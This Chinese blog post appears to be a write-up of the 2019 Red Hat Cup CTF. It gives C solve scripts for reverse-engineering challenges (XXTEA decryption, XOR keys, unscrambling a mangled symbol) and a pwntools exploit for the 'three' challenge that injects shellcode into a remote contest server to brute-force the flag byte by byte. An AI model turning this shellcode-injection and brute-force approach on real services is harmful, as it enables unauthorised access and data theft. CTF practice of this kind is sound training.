zoukankan      html  css  js  c++  java
  • 2019红帽杯部分wp

    xx

    程序首先取输入的前4个字符作为xxtea加密的密钥之后进行xxtea加密。接着进行位置置换操作,然后又进行了以3个为一组的异或

    首先逆向解出xxtea加密之后的结果

    #include<stdio.h>
    #include<Windows.h>
    int main()
    {
    	int count = 0;
    	int b[24];
    	int a[] = { 0xCE, 0xBC, 0x40, 0x6B, 0x7C, 0x3A, 0x95, 0xC0, 0xEF, 0x9B, 0x20, 0x20, 0x91, 0xF7, 0x02, 0x35, 0x23, 0x18, 0x02, 0xC8, 0xE7, 0x56, 0x56, 0xFA };
    	
    
    	for (int i = 23; i >=3; i--)
    	{
    		
    		for (int j = 6-count; j >= 0; j--)
    		{
    				a[i]^=a[j];		
    		}
    		if (i % 3 == 0)
    		{
    			count++;
    		}
    		
    	}
    	for (int i = 0; i < 24; i++)
    		printf("0x%x,", a[i]);
    	printf("\n");
    	b[2] = a[0];
    	b[0] = a[1];
    	b[3] = a[2];
    	b[1] = a[3];
    	b[6] = a[4];
    	b[4] = a[5];
    	b[7] = a[6];
    	b[5] = a[7];
    	b[10] = a[8];
    	b[8] = a[9];
    	b[11] = a[10];
    	b[9] = a[11];
    	b[14] = a[12];
    	b[12] = a[13];
    	b[15] = a[14];
    	b[13] = a[15];
    	b[18] = a[16];
    	b[16] = a[17];
    	b[19] = a[18];
    	b[17] = a[19];
    	b[22] = a[20];
    	b[20] = a[21];
    	b[23] = a[22];
    	b[21] = a[23];
    	for (int i = 0; i < 24; i++)
    		printf("0x%x,", b[i]);
    	system("pause");
    }
    

    得到数据0xbc,0xa5,0xce,0x40,0xf4,0xb2,0xb2,0xe7,0xa9,0x12,0x9d,0x12,0xae,0x10,0xc8,0x5b,0x3d,0xd7,0x6,0x1d,0xdc,0x70,0xf8,0xdc

    在进行xxtea解密,这里猜测密钥为flag,即可解出flag

    #include <stdio.h>  
    #include <stdint.h>  
    #include<windows.h>
    #define DELTA 0x9e3779b9  
    #define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))  
    
    void btea(uint32_t *v, int n, uint32_t const key[4])
    {
    	uint32_t y, z, sum;
    	unsigned p, rounds, e;
    	if (n > 1)            /* Coding Part */
    	{
    		rounds = 6 + 52 / n;
    		sum = 0;
    		z = v[n - 1];
    		do
    		{
    			sum += DELTA;
    			e = (sum >> 2) & 3;
    			for (p = 0; p<n - 1; p++)
    			{
    				y = v[p + 1];
    				z = v[p] += MX;
    			}
    			y = v[0];
    			z = v[n - 1] += MX;
    		} while (--rounds);
    	}
    	else if (n < -1)      /* Decoding Part */
    	{
    		n = -n;
    		rounds = 6 + 52 / n;
    		sum = rounds*DELTA;
    		y = v[0];
    		do
    		{
    			e = (sum >> 2) & 3;
    			for (p = n - 1; p>0; p--)
    			{
    				z = v[p - 1];
    				y = v[p] -= MX;
    			}
    			z = v[n - 1];
    			y = v[0] -= MX;
    			sum -= DELTA;
    		} while (--rounds);
    	}
    }
    
    
    int main()
    {
    	//03e0164dd30553aa
    	       // uint32_t a[2] = { (unsigned int)0xd2cfdad7, 0x9ac8d5d4 };
    	uint32_t v[6] = { (unsigned int)0x40cea5bc, (unsigned int)0xe7b2b2f4,(unsigned int)0x129d12a9,(unsigned int)0x5bc810ae,(unsigned int)0x1d06d73d,(unsigned int)0xdcf870dc };
    			uint32_t const k[4] = { (unsigned int)0x67616c66, (unsigned int)0x0, (unsigned int)0X0, (unsigned int)0x0 };
    			int n = 6; //n的绝对值表示v的长度,取正表示加密,取负表示解密  
    			// v为要加密的数据是两个32位无符号整数  
    			// k为加密解密密钥,为4个32位无符号整数,即密钥长度为128位  
    			//printf("加密前原始数据:%x %x\n", v[0], v[1]);
    			btea(v, -n, k);
    			printf("加密后的数据:%x %x %x %x %x\n", v[0], v[1],v[2],v[3],v[4],v[5]);
    			//btea(v, -n, k);
    			//printf("解密后的数据:%x %x\n", v[0], v[1]);
    			
    			system("pause");		
    	
    }
    

    解密后的数据为:67616c66 5858437b 646e615f 742b2b5f 7d6165

    easy re

    程序,第一段解密出Info:The first four chars are flag

    第二段base64解密出一段网址https://bbs.pediy.com/thread-254172.htm

    但是程序并没有完全结束在fini处还有一段函数

    v5和v8相等且是随机生成的数据,他们异或数组第一个和第四个分别为f和g,又因为输入的字符前4个为flag可以推算出v5和v8的值,从而算出flag的值

    最后解密代码如下

    #include<stdio.h>
    #include<Windows.h>
    int main(){
    	unsigned char byte_6CC0A0[25] = {
    		0x40, 0x35, 0x20, 0x56, 0x5D, 0x18, 0x22, 0x45, 0x17, 0x2F, 0x24, 0x6E, 0x62, 0x3C, 0x27, 0x54,
    		0x48, 0x6C, 0x24, 0x6E, 0x72, 0x3C, 0x32, 0x45, 0x5b
    	};
    	char a[] = "flag";
    	int key[20];
    	for (int i = 0; i<strlen(a); i++)
    	{
    		key[i] = byte_6CC0A0[i] ^ a[i];
    	}
    	for (int j = 0; j<25; j++){
    		byte_6CC0A0[j] ^= key[j % 4];
    		printf("%c", byte_6CC0A0[j]);
    	}
    	printf("\n");
    	system("pause");
    }
    

    childre

    程序首先对输入的字符串进行了打乱操作,之后利用undecoratesymbolname对打乱字符进行反修饰。通过解密脚本跑出反修饰后的函数名称为

    #include<stdio.h>
    #include<Windows.h>
    int main()
    {
    	unsigned char a1234567890Qwer[90] = {
    		0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x2D, 0x3D, 0x21, 0x40, 0x23, 0x24,
    		0x25, 0x5E, 0x26, 0x2A, 0x28, 0x29, 0x5F, 0x2B, 0x71, 0x77, 0x65, 0x72, 0x74, 0x79, 0x75, 0x69,
    		0x6F, 0x70, 0x5B, 0x5D, 0x51, 0x57, 0x45, 0x52, 0x54, 0x59, 0x55, 0x49, 0x4F, 0x50, 0x7B, 0x7D,
    		0x61, 0x73, 0x64, 0x66, 0x67, 0x68, 0x6A, 0x6B, 0x6C, 0x3B, 0x27, 0x41, 0x53, 0x44, 0x46, 0x47,
    		0x48, 0x4A, 0x4B, 0x4C, 0x3A, 0x22, 0x5A, 0x58, 0x43, 0x56, 0x42, 0x4E, 0x4D, 0x3C, 0x3E, 0x3F,
    		0x7A, 0x78, 0x63, 0x76, 0x62, 0x6E, 0x6D, 0x2C, 0x2E, 0x2F
    	};
    	unsigned char data[64] = {
    		 0x28, 0x5F, 0x40, 0x34, 0x36, 0x32, 0x30, 0x21,
    		0x30, 0x38, 0x21, 0x36, 0x5F, 0x30, 0x2A, 0x30, 0x34, 0x34, 0x32, 0x21, 0x40, 0x31, 0x38, 0x36,
    		0x25, 0x25, 0x30, 0x40, 0x33, 0x3D, 0x36, 0x36, 0x21, 0x21, 0x39, 0x37, 0x34, 0x2A, 0x33, 0x32,
    		0x33, 0x34, 0x3D, 0x26, 0x30, 0x5E, 0x33, 0x26, 0x31, 0x40, 0x3D, 0x26, 0x30, 0x39, 0x30, 0x38,
    		0x21, 0x36, 0x5F, 0x30, 0x2A, 0x26
    	};//3478
    	unsigned char data1[72] = {
    		 0x35, 0x35, 0x35, 0x36, 0x35, 0x36, 0x35, 0x33,
    		0x32, 0x35, 0x35, 0x35, 0x35, 0x32, 0x32, 0x32, 0x35, 0x35, 0x36, 0x35, 0x35, 0x36, 0x35, 0x35,
    		0x35, 0x35, 0x32, 0x34, 0x33, 0x34, 0x36, 0x36, 0x33, 0x33, 0x34, 0x36, 0x35, 0x33, 0x36, 0x36,
    		0x33, 0x35, 0x34, 0x34, 0x34, 0x32, 0x36, 0x35, 0x36, 0x35, 0x35, 0x35, 0x35, 0x35, 0x32, 0x35,
    		0x35, 0x35, 0x35, 0x32, 0x32, 0x32
    	};//38
    	int count = 0;
    	for (int i = 0; i < 0x3e; i++)
    	{
    		for (char a = 0x20; a <= 0x7E; a++)
    		{
    			int v11 = a;
    			int v12 = v11 % 23;
    			if ((a1234567890Qwer[v12] == data[i])&(a1234567890Qwer[v11 / 23] == data1[i]))
    			{
    				printf("%c", a);
    				count++;
    			}
    		}
    	}
    	printf("\n");
    	printf("%d", count);
    	system("pause");
    
    	
    }
    

    private: char * __thiscall R0Pxx::My_Aut0_PWN(unsigned char *)

    我们对函数进行修饰一下结果为?My_Aut0_PWN@R0Pxx@@AAEPADPAE@Z

    接着利用脚本 还原一下位置

    #include<stdio.h>
    #include<windows.h>
    int main()
    {
    	char input[32] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ12345";
    	char disturb[32] = "PQHRSIDTUJVWKEBXYLZ1MF23N45OGCA";
    	char function[32] = "?My_Aut0_PWN@R0Pxx@@AAEPADPAE@Z";
    	char buf[32];
    	for (int i = 0; i < 31; i++)
    	{
    		for (int j = 0; j < 31; j++)
    		{
    			if (disturb[i] == input[j])
    			{
    				buf[j] = function[i];
    				break;
    			}
    		}
    	}
    	for (int i = 0; i < 31; i++)
    	{
    		printf("%c", buf[i]);
    	}
    	system("pause");
    }
    

    还原得到Z0@tRAEyuP@xAAA?M_A0_WNPx@@EPDP 对其MD5加密即可

    three

    程序可以读取flag内容,并且输入index将flag内容可以一个一个读取出来,通过输入值爆破遍历比较获取flag

    exp如下

    #!/usr/bin/env python
    # coding=utf-8
    #!/usr/bin/env python
    # -*- coding: utf-8 -*-
    from pwn import *
    #context.log_level='debug'
    keys="qwertyuiopasdfghjklzxcvbnm1234567890QWETYUIOPASDFGHJKLZXCVBNM{}-_"
    
    flag=""
    
    for i in range(32):
        for char in keys:
            #r=process("./pwn")
            r=remote("47.104.190.38","12001")
            r.recvuntil("Give me a index:\n")
            r.sendline(str(i))
            r.recvline()
            r.send("\x8b\x01\xc3")#mov eax,ds:[ecx] retn
            r.recvline()
            r.sendline("2")
            r.recvline()
            r.send(char)
            answer=int(r.recv())
            r.close()
            if answer==1:
                print char
                flag+=char
                break
    
    print flag
    
    
  • 相关阅读:
    操作系统:进程间的相互作用(多线程基础)
    一个互联网研发团队的标准配置
    一个电商项目的功能模块梳理2
    一个电商项目的功能模块梳理2
    一个电商项目的功能模块梳理
    一个电商项目的功能模块梳理
    CTO、技术总监、首席架构师的区别
    CTO、技术总监、首席架构师的区别
    论代码稳定
    论代码稳定
  • 原文地址:https://www.cnblogs.com/playmak3r/p/12063593.html
Copyright © 2011-2022 走看看